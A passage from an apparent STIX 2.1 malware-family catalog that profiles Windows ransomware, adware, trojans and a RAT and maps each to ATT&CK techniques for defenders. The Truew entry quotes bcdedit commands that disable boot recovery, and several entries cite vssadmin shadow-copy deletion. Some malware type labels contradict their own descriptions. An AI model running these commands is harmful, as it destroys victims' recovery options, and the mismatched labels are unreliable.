      "source_ref": "malware--4c1eb55f-fa7d-58d7-b852-53eb344bacd8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trpctrooper exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9958d199-19d5-589e-ae8d-c008a9f38144",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c1eb55f-fa7d-58d7-b852-53eb344bacd8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trpctrooper exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--68544bd5-75a8-5fe3-bad6-6c7c18772ef8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Truew",
      "description": "Truew (documented across antimalware signatures as Ransom:Win32/Truew, Trojan-Ransom.Win32.Truew, and Ransom.Truew) is a targeted Windows crypto-ransomware family designed for rapid local storage and network share encryption. Propagated through weaponized email phishing lures, software bundling aggregators, and compromised remote access credentials, Truew executes extensive system pre-encryption checks upon launch. It queries connected disk drives, enumerates accessible SMB network shares, and disables system recovery mechanisms by invoking vssadmin to delete volume shadow copies and executing bcdedit commands to disable Windows startup recovery options ('bcdedit /set {default} bootstatuspolicy ignoreallfailures' and 'bcdedit /set {default} recoveryenabled no'). Truew encrypts user documents, archives, databases, and media files using a hybrid cryptographic scheme combining AES-256 with an embedded RSA public key. Encrypted files are renamed with a unique victim identifier and the '.truew' extension. Truew generates ransom demand notes ('RECOVERY_INFO.txt') in all processed directories and modifies the user desktop wallpaper via SystemParametersInfo to display ransom instructions. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Truew",
        "Trojan-Ransom.Win32.Truew",
        "Win32/Truew",
        "Ransom.Truew",
        "Truew Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Truew",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/truew"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5e0f632-98f9-558a-a1ad-3934f4624339",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trymedia",
      "description": "Trymedia (cataloged in legacy and modern security databases under signatures including Adware:Win32/Trymedia, SoftwareBundler:Win32/Trymedia, and PUA:Win32/Trymedia) is a historic commercial digital rights management (DRM) wrapper and advertising software framework active from 2004 to 2012. Originally created to power 'try-before-you-buy' game demos across popular download portals, Trymedia wrapped playable binaries inside aggressive DRM and ad-delivery stubs. It installed persistent background services (ActiveMARK / SafeDisc helpers), intercepted system startup processes, displayed intrusive commercial purchase prompts, and collected host system hardware telemetry. Because it left active services that resisted uninstallation and created system stability issues, it was classified across major antimalware vendors as a Potentially Unwanted Application (PUA) and adware. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Trymedia",
        "SoftwareBundler:Win32/Trymedia",
        "PUA:Win32/Trymedia",
        "Win32/Trymedia",
        "ActiveMARK Trymedia"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trymedia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trymedia"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8c09ba8-eee8-5083-8e15-027f6244b1bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tsingsoft",
      "description": "Adware:Win32/Tsingsoft (often bundled with free software downloads) is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Tsingsoft</b><br>To an end-user, Tsingsoft manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Tsingsoft is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tsingsoft",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tsingsoft"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa68ffd5-9e8b-5dc0-aa3d-4099dede5488",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c09ba8-eee8-5083-8e15-027f6244b1bc",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tsingsoft exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a34faa9b-8a73-5cf7-9857-c5aeb6cc716b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c09ba8-eee8-5083-8e15-027f6244b1bc",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tsingsoft exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9765e99e-a4e4-59a9-9663-324cd68e815e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c09ba8-eee8-5083-8e15-027f6244b1bc",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tsingsoft exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58af8dbe-42ee-5ec0-9d4e-9dff9fdd1234",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c09ba8-eee8-5083-8e15-027f6244b1bc",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tsingsoft exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3dfd67fb-7532-5db7-a364-13ef4625b44b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tsklnk",
      "description": "Trojan:Win32/Tsklnk (Task Link) is a specific classification for malware that abuses legitimate Windows Shortcut files (`.lnk`) and the Windows Task Scheduler to establish highly evasive persistence and execute malicious payloads. It is often a component of a larger infection chain, heavily utilized by fileless malware and USB-spreading worms to execute PowerShell or VBScript without leaving a traditional executable on the disk.<br><br><b>Understanding Tsklnk (Malicious LNKs)</b><br>To an end-user, Tsklnk often appears as a benign icon (like a folder or a PDF document) on a USB drive or the desktop. When double-clicked, the icon might briefly flash a command prompt before opening the expected document, masking the malicious activity. For a security analyst, Tsklnk represents an abuse of fundamental Windows OS features (Living off the Land). Because `.lnk` files and Scheduled Tasks are native, administrative tools, they often bypass traditional antivirus scans.<br><br><b>Execution and Persistence Mechanics</b><br>Tsklnk is frequently delivered via phishing (as an attached `.lnk` disguised as a document) (`T1566.002`) or via infected USB drives (`T1091`). The core of the threat lies in the 'Target' property of the Shortcut file. Instead of pointing to an application, the `.lnk` file executes `cmd.exe` or `powershell.exe` (`T1059.003`), passing it an obfuscated, base64-encoded command line (`T1027`). This command often reaches out to a C2 server to download and execute a secondary payload entirely in memory (`T1105`). To achieve persistence, the malware creates a hidden Scheduled Task (`T1053.005`) that points to a similarly malicious `.lnk` file or directly executes a PowerShell one-liner every time the user logs in.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a stealthy, persistent backdoor. Host-based IoCs include EDR alerts for `cmd.exe` or `powershell.exe` being spawned by `explorer.exe` (when the user clicks the shortcut) with exceptionally long, encoded command-line arguments. The presence of anomalous Scheduled Tasks executing scripts or binaries from temporary directories, and `.lnk` files on USB drives with targets pointing to `cmd.exe` rather than an application, are definitive IoCs. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tsklnk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tsklnk"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46d4d89b-3691-568d-82f5-39313a89f356",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dfd67fb-7532-5db7-a364-13ef4625b44b",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tsklnk exhibits technique T1566.002 (Phishing: Spearphishing Link (Malicious .lnk attachments))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0708dfa0-7e81-53aa-bc70-5fa838fca8c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dfd67fb-7532-5db7-a364-13ef4625b44b",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tsklnk exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b7df14b-7533-5669-b415-22ca68ad779b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dfd67fb-7532-5db7-a364-13ef4625b44b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tsklnk exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2de504ec-f008-5c37-a977-896bb8d72a59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dfd67fb-7532-5db7-a364-13ef4625b44b",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tsklnk exhibits technique T1204.002 (User Execution: Malicious File (Clicking the shortcut))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e3027c3a-f5be-5c99-b75f-c1047938660f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tspy",
      "description": "TSpy (classified in antimalware research telemetry under designations including Spyware:Win32/TSpy, TrojanSpy:Win32/TSpy, and Trojan-Spy.Win32.TSpy) is a stealthy information-stealing trojan and surveillance threat. Designed to harvest sensitive enterprise and user credentials, TSpy is delivered via spearphishing attachments, malicious macros, and trojanized utility downloads. Upon execution, TSpy inspects the host environment for debugging tools and virtualization sandboxes before establishing persistence via registry run keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. It deploys system-wide API hooks (such as SetWindowsHookEx) to log keystrokes, monitors active web browser windows (Chrome, Firefox, Edge) to intercept form data and session cookies, and extracts saved credentials from FTP clients and email software. TSpy bundles stolen telemetry into encrypted archives and transmits them to external command-and-control servers via HTTP POST requests. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware:Win32/TSpy",
        "TrojanSpy:Win32/TSpy",
        "Trojan-Spy.Win32.TSpy",
        "Win32/TSpy",
        "Trojan.Spy.TSpy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tspy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28befba4-f6ec-5b45-a816-0260d6c00122",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3027c3a-f5be-5c99-b75f-c1047938660f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tspy exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ed953b2-cd51-5ae0-86a1-66626e6b7da7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3027c3a-f5be-5c99-b75f-c1047938660f",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tspy exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b9de7bc-8e8e-50ca-8de3-322e9b512a90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3027c3a-f5be-5c99-b75f-c1047938660f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tspy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2e89da5-aaae-52c6-b809-939c90b24ea1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3027c3a-f5be-5c99-b75f-c1047938660f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tspy exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91a8dde7-ddc9-5d06-9eb1-09d7e8bdc87a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3027c3a-f5be-5c99-b75f-c1047938660f",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tspy exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--56cda49c-dd8b-5cce-8047-2772d1372eca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tufik",
      "description": "Tufik (identified in security vendor catalogs under signatures including Ransom:Win32/Tufik, Trojan-Ransom.Win32.Tufik, and Trojan.Tufik) is a destructive crypto-ransomware family active since 2016. Infiltrating endpoints primarily through phishing email attachments, weaponized torrent downloads, and exploit kit drive-by compromise, Tufik executes rapid local discovery before traversing fixed drives, removable disks, and mounted network file shares. Tufik searches for user documents, spreadsheets, databases, source code files, and archives, encrypting them using a hybrid AES-256 and RSA-2048 cryptographic scheme and appending a custom identifier extension to affected files. Tufik executes vssadmin commands to purge Volume Shadow Copies, alters desktop background wallpapers, and drops ransom notes demanding cryptocurrency payments for data decryption. (Observed samples in benchmark: 28)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Tufik",
        "Trojan-Ransom.Win32.Tufik",
        "Trojan.Tufik",
        "Win32/Tufik",
        "Ransom:Win32/Tufik.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tufik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tufik"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--457912a7-241c-5991-a693-8800acd12ae4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tukrina",
      "description": "<h3>Executive Summary</h3>\nTukrina is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTukrina is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tukrina operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tukrina ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tukrina receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tukrina infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tukrina executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tukrina frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tukrina",
        "Downloader.Tukrina",
        "Win32/Tukrina"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tukrina",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tukrina"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d2e8337-3fc8-5929-b570-d8dab35709ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--457912a7-241c-5991-a693-8800acd12ae4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tukrina exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88cb937e-0d15-58de-9b8e-48169e1ee9e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--457912a7-241c-5991-a693-8800acd12ae4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tukrina exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db5ad8a0-7b47-5f88-87d6-0941214d0499",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--457912a7-241c-5991-a693-8800acd12ae4",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tukrina exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--08dbdbf5-f9df-5de7-b2ac-1cf83cec6349",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tulong",
      "description": "Trojan:Win32/Tulong is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tulong</b><br>To an end-user, a Tulong infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tulong is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tulong is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tulong frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tulong reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tulong",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tulong"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94589ce2-931c-52a7-a6ba-865e8f719d99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08dbdbf5-f9df-5de7-b2ac-1cf83cec6349",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tulong exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efc3c926-e99d-51ce-b124-2c51ab89a530",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08dbdbf5-f9df-5de7-b2ac-1cf83cec6349",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tulong exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73b8cba9-608f-57e2-abfe-49540868077e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08dbdbf5-f9df-5de7-b2ac-1cf83cec6349",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tulong exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acbc1f5d-0930-50a6-beac-e74096cc58dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08dbdbf5-f9df-5de7-b2ac-1cf83cec6349",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tulong exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ce3decf-4f75-54d1-9447-4adae34a9ab7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08dbdbf5-f9df-5de7-b2ac-1cf83cec6349",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tulong exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c2c3317f-f788-52a5-8f32-e914546b65b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Turkojan",
      "description": "Backdoor:Win32/Turkojan is a landmark Turkish-origin commercial Remote Access Trojan (RAT) created in the mid-2000s that gained international notoriety for its aggressive system manipulation tools and extensive use in cybercrime and extortion campaigns. Structured with a server-client architecture, Turkojan allows operators to take complete GUI-based control over compromised Windows endpoints\u2014including webcam recording, audio eavesdropping, keystroke logging, credential harvesting, registry tampering, and hardware disruption. The author of Turkojan was apprehended following a coordinated cybercrime crackdown, solidifying Turkojan's place as a foundational precursor to modern commodity remote access malware. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Turkojan",
        "Turkojan RAT",
        "Backdoor:Win32/Turkojan",
        "Turkojan 4",
